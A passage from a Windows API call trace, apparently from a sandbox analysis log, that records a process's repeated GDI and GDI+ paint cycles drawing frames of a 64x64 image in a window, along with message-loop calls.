(hdc=0xffffffff9c010b82, hrgn=0xffffffffde040b8a) returned 2 [0156.136] DeleteObject (ho=0xe0407c3) returned 1 [0156.136] DeleteObject (ho=0xffffffffde040b8a) returned 1 [0156.136] OffsetViewportOrgEx (in: hdc=0xffffffff9c010b82, x=0, y=0, lppt=0x270fce8 | out: lppt=0x270fce8) returned 1 [0156.137] GetNearestColor (hdc=0xffffffff9c010b82, color=0xffffff) returned 0xffffff [0156.137] CreateSolidBrush (color=0xffffff) returned 0xffffffffe6100190 [0156.137] FillRect (hDC=0xffffffff9c010b82, lprc=0x15d7c0, hbr=0xffffffffe6100190) returned 1 [0156.137] DeleteObject (ho=0xffffffffe6100190) returned 1 [0156.137] RestoreDC (hdc=0xffffffff9c010b82, nSavedDC=-1) returned 1 [0156.137] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.137] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff9c010b82) returned 0x0 [0156.137] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc1a0dbd) returned 0x0 [0156.137] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.137] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0156.137] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0156.137] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0156.137] GetSystemMetrics (nIndex=42) returned 0 [0156.137] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0156.137] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0156.138] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0156.138] CoTaskMemFree (pv=0x1e91eca0) [0156.138] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0156.138] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0156.138] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0156.138] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0156.140] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff9c010b82, x1=0, y1=0, rop=0xcc0020) returned 1 [0156.140] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.140] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff9c010b82) returned 0x0 [0156.140] SelectObject (hdc=0xffffffff9c010b82, h=0x185000f) returned 0x1a05067e [0156.140] DeleteDC (hdc=0xffffffff9c010b82) returned 1 [0156.140] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.140] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0156.140] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0156.141] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0156.141] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0156.141] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0156.141] WaitMessage () returned 1 [0156.398] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0156.399] IsWindowUnicode (hWnd=0x2031e) returned 1 [0156.399] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0156.399] TranslateMessage (lpMsg=0x15e910) returned 0 [0156.399] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0156.399] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0156.399] GetCurrentThreadId () returned 0xec0 [0156.399] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0156.399] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0156.399] IsWindowUnicode (hWnd=0x2031e) returned 1 [0156.399] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0156.399] TranslateMessage (lpMsg=0x15e910) returned 0 [0156.399] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0156.400] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0156.400] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0156.400] CreateCompatibleDC (hdc=0x3010b83) returned 0xe010bab [0156.400] SelectObject (hdc=0xe010bab, h=0x1a05067e) returned 0x185000f [0156.400] GdipCreateFromHDC (hdc=0xe010bab, graphics=0x15daf0) returned 0x0 [0156.400] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0156.400] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0156.401] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0156.401] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0156.401] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0156.401] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0156.401] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0156.401] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0156.401] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.402] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0156.402] GdipCreateRegion (region=0x15dc20) returned 0x0 [0156.402] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0156.402] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0156.402] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0156.402] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0156.402] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0156.402] GetSystemMetrics (nIndex=42) returned 0 [0156.402] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0156.402] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0156.402] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0156.402] CoTaskMemFree (pv=0x1e91eca0) [0156.402] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0156.402] GdipCreateRegion (region=0x15d710) returned 0x0 [0156.402] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0156.403] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0156.403] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0156.403] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0156.403] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0156.403] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0156.403] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0156.404] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0156.404] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0156.404] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0156.404] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0156.404] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.404] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0156.404] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0156.405] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0156.405] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0156.405] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.405] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0156.405] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0156.405] GetCurrentObject (hdc=0xe010bab, type=0x1) returned 0x1b00017 [0156.405] GetCurrentObject (hdc=0xe010bab, type=0x2) returned 0x1900010 [0156.405] GetCurrentObject (hdc=0xe010bab, type=0x7) returned 0x1a05067e [0156.405] GetCurrentObject (hdc=0xe010bab, type=0x6) returned 0x18a002e [0156.405] SaveDC (hdc=0xe010bab) returned 1 [0156.405] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffdf040b8a [0156.405] GetClipRgn (hdc=0xe010bab, hrgn=0xffffffffdf040b8a) returned 0 [0156.406] SelectClipRgn (hdc=0xe010bab, hrgn=0xf0407c3) returned 2 [0156.406] DeleteObject (ho=0xffffffffdf040b8a) returned 1 [0156.406] DeleteObject (ho=0xf0407c3) returned 1 [0156.406] OffsetViewportOrgEx (in: hdc=0xe010bab, x=0, y=0, lppt=0x2710620 | out: lppt=0x2710620) returned 1 [0156.406] GetNearestColor (hdc=0xe010bab, color=0xffffff) returned 0xffffff [0156.406] CreateSolidBrush (color=0xffffff) returned 0xffffffffe7100190 [0156.406] FillRect (hDC=0xe010bab, lprc=0x15d7c0, hbr=0xffffffffe7100190) returned 1 [0156.406] DeleteObject (ho=0xffffffffe7100190) returned 1 [0156.406] RestoreDC (hdc=0xe010bab, nSavedDC=-1) returned 1 [0156.406] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.406] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xe010bab) returned 0x0 [0156.407] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc180dbd) returned 0x0 [0156.407] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.407] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0156.407] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0156.407] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0156.407] GetSystemMetrics (nIndex=42) returned 0 [0156.407] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0156.407] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0156.407] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0156.407] CoTaskMemFree (pv=0x1e91eca0) [0156.407] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1a) returned 0x0 [0156.410] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0156.410] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0156.410] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0156.410] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0156.410] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xe010bab, x1=0, y1=0, rop=0xcc0020) returned 1 [0156.410] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.410] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xe010bab) returned 0x0 [0156.410] SelectObject (hdc=0xe010bab, h=0x185000f) returned 0x1a05067e [0156.411] DeleteDC (hdc=0xe010bab) returned 1 [0156.411] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.411] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0156.411] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0156.411] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0156.411] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0156.411] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0156.411] WaitMessage () returned 1 [0156.649] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0156.649] IsWindowUnicode (hWnd=0x2031e) returned 1 [0156.649] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0156.649] TranslateMessage (lpMsg=0x15e910) returned 0 [0156.649] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0156.649] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0156.649] GetCurrentThreadId () returned 0xec0 [0156.649] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0156.649] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0156.649] IsWindowUnicode (hWnd=0x2031e) returned 1 [0156.649] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0156.649] TranslateMessage (lpMsg=0x15e910) returned 0 [0156.649] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0156.649] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0156.650] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0156.650] CreateCompatibleDC (hdc=0x3010b83) returned 0x6010bac [0156.650] SelectObject (hdc=0x6010bac, h=0x1a05067e) returned 0x185000f [0156.650] GdipCreateFromHDC (hdc=0x6010bac, graphics=0x15daf0) returned 0x0 [0156.650] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0156.650] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0156.650] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0156.650] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0156.650] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0156.651] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0156.651] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0156.651] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0156.651] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.651] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0156.652] GdipCreateRegion (region=0x15dc20) returned 0x0 [0156.652] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0156.652] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0156.652] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0156.652] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0156.652] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0156.652] GetSystemMetrics (nIndex=42) returned 0 [0156.652] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0156.652] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0156.652] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0156.652] CoTaskMemFree (pv=0x1e91eca0) [0156.652] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0156.653] GdipCreateRegion (region=0x15d710) returned 0x0 [0156.653] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0156.653] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0156.653] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0156.653] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0156.653] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0156.653] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0156.654] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0156.654] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0156.654] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0156.654] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0156.654] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0156.655] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.655] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0156.655] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0156.655] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0156.655] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0156.655] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.655] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0156.655] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0156.655] GetCurrentObject (hdc=0x6010bac, type=0x1) returned 0x1b00017 [0156.655] GetCurrentObject (hdc=0x6010bac, type=0x2) returned 0x1900010 [0156.656] GetCurrentObject (hdc=0x6010bac, type=0x7) returned 0x1a05067e [0156.656] GetCurrentObject (hdc=0x6010bac, type=0x6) returned 0x18a002e [0156.656] SaveDC (hdc=0x6010bac) returned 1 [0156.656] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x100407c3 [0156.656] GetClipRgn (hdc=0x6010bac, hrgn=0x100407c3) returned 0 [0156.656] SelectClipRgn (hdc=0x6010bac, hrgn=0xffffffffe0040b8a) returned 2 [0156.656] DeleteObject (ho=0x100407c3) returned 1 [0156.656] DeleteObject (ho=0xffffffffe0040b8a) returned 1 [0156.656] OffsetViewportOrgEx (in: hdc=0x6010bac, x=0, y=0, lppt=0x2711920 | out: lppt=0x2711920) returned 1 [0156.657] GetNearestColor (hdc=0x6010bac, color=0xffffff) returned 0xffffff [0156.657] CreateSolidBrush (color=0xffffff) returned 0xffffffffe8100190 [0156.657] FillRect (hDC=0x6010bac, lprc=0x15d7c0, hbr=0xffffffffe8100190) returned 1 [0156.657] DeleteObject (ho=0xffffffffe8100190) returned 1 [0156.657] RestoreDC (hdc=0x6010bac, nSavedDC=-1) returned 1 [0156.657] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.657] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6010bac) returned 0x0 [0156.658] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc160dbd) returned 0x0 [0156.658] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.658] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0156.658] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0156.658] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0156.658] GetSystemMetrics (nIndex=42) returned 0 [0156.658] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0156.658] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0156.659] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0156.659] CoTaskMemFree (pv=0x1e91eca0) [0156.659] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0156.659] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0156.659] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0156.659] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0156.659] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x6010bac, x1=0, y1=0, rop=0xcc0020) returned 1 [0156.660] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.660] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6010bac) returned 0x0 [0156.660] SelectObject (hdc=0x6010bac, h=0x185000f) returned 0x1a05067e [0156.660] DeleteDC (hdc=0x6010bac) returned 1 [0156.660] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.660] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0156.660] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0156.660] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0156.661] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0156.661] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0156.661] WaitMessage () returned 1 [0156.818] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0156.818] IsWindowUnicode (hWnd=0x2031e) returned 1 [0156.818] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0156.818] TranslateMessage (lpMsg=0x15e910) returned 0 [0156.818] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0156.819] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0156.819] GetCurrentThreadId () returned 0xec0 [0156.819] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0156.819] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0156.819] IsWindowUnicode (hWnd=0x2031e) returned 1 [0156.819] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0156.819] TranslateMessage (lpMsg=0x15e910) returned 0 [0156.819] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0156.819] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0156.819] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0156.820] CreateCompatibleDC (hdc=0x3010b83) returned 0x7010bac [0156.820] SelectObject (hdc=0x7010bac, h=0x1a05067e) returned 0x185000f [0156.820] GdipCreateFromHDC (hdc=0x7010bac, graphics=0x15daf0) returned 0x0 [0156.820] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0156.820] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0156.820] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0156.820] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0156.820] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0156.820] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0156.821] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0156.821] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0156.821] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.821] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0156.821] GdipCreateRegion (region=0x15dc20) returned 0x0 [0156.822] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0156.822] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0156.822] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0156.822] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0156.822] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0156.822] GetSystemMetrics (nIndex=42) returned 0 [0156.822] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0156.822] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0156.822] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0156.822] CoTaskMemFree (pv=0x1e91eca0) [0156.822] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0156.822] GdipCreateRegion (region=0x15d710) returned 0x0 [0156.822] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0156.823] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0156.823] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0156.823] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0156.823] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0156.823] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0156.823] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0156.824] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0156.824] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0156.824] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0156.824] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0156.824] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.824] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0156.824] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0156.825] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0156.825] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0156.825] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0156.825] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0156.825] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0156.825] GetCurrentObject (hdc=0x7010bac, type=0x1) returned 0x1b00017 [0156.825] GetCurrentObject (hdc=0x7010bac, type=0x2) returned 0x1900010 [0156.825] GetCurrentObject (hdc=0x7010bac, type=0x7) returned 0x1a05067e [0156.825] GetCurrentObject (hdc=0x7010bac, type=0x6) returned 0x18a002e [0156.825] SaveDC (hdc=0x7010bac) returned 1 [0156.825] 